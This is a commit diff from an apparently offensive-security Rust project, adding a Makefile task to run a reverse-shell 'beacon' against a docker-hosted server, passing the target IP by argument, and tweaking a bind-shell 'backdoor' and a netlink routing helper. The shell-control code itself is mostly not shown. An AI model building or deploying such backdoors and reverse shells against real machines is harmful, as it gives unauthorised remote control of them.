fix: fixing revshell example and its routes

examples/Makefile.toml

@@ -6,3 +6,18 @@ tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
 tmux split-window -h 'docker-compose run examples_bindshell_client'
 tmux -2 attach -t bindshell
 '''
+
+[tasks.examples-revshell-run]
+workspace = false
+dependencies = ["build"]
+script = '''
+set -eux
+tmux new-session -d -s revshell 'docker-compose up examples_revshell_server'
+sleep 1
+IP=$(docker-compose exec examples_revshell_server ip a show eth0 | awk '/inet/{print $2}' | awk -F'/' '{print $1}')
+echo $IP
+sleep 1
+COMMAND="target/debug/ex-revshell-beacon $IP"
+tmux split-window -h "$COMMAND"
+tmux -2 attach -t revshell
+'''

examples/bind-shell/backdoor/src/main.rs

@@ -149,7 +149,7 @@ async fn handle_command(
     let cmd_str = std::str::from_utf8(cmd.as_bytes());
     match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
         Ok(["exit"]) => {
-            send_exit.send(()).await;
+            let _ = send_exit.send(()).await;
             return Ok(());
         }
         Ok(["cd", dir]) => {

examples/reverse-shell/beacon/src/main.rs

@@ -1,4 +1,4 @@
-use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr};
+use std::{collections::HashMap, net::Ipv4Addr};
 
 use anyhow::anyhow;
 use tokio::time::{interval, Duration};
@@ -9,12 +9,7 @@ use pcap_sys::packets::*;
 
 #[tokio::main]
 async fn main() -> anyhow::Result<()> {
-    print!("Please enter the target IP (found with `docker-compose exec examples_revshell_server ip a`, e.x. 172.19.0.2): ");
-    std::io::stdout().flush()?;
-    let stdin = std::io::stdin();
-    let mut target = String::new();
-    stdin.read_line(&mut target)?;
-    let target = target.trim().parse::<Ipv4Addr>()?;
+    let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::<Ipv4Addr>()?;
 
     let (ifname, src_mac, dst_mac, srcip) = {
         let socket = netlink::Socket::new()?;

nl-sys/src/route.rs

@@ -122,7 +122,10 @@ impl Link {
 
 impl Debug for Link {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.debug_struct("Link").field("name", &self.name()).finish()
+        f.debug_struct("Link")
+            .field("name", &self.name())
+            .field("ifindex", &self.ifindex())
+            .finish()
     }
 }
 
@@ -174,6 +177,14 @@ pub fn get_macs_and_src_for_ip(
 
     let link = netlink::get_link_by_index(links, link_ind)?;
 
+    let neighs_ = neighs.iter().collect::<Vec<_>>();
+
+    dbg!(neighs_.len());
+
+    for neigh in neighs_.iter() {
+        println!("Neigh: {:?} -> {:?} ({})", neigh.lladdr(), neigh.dst(), neigh.ifindex());
+    }
+
     let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?;
 
     let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?;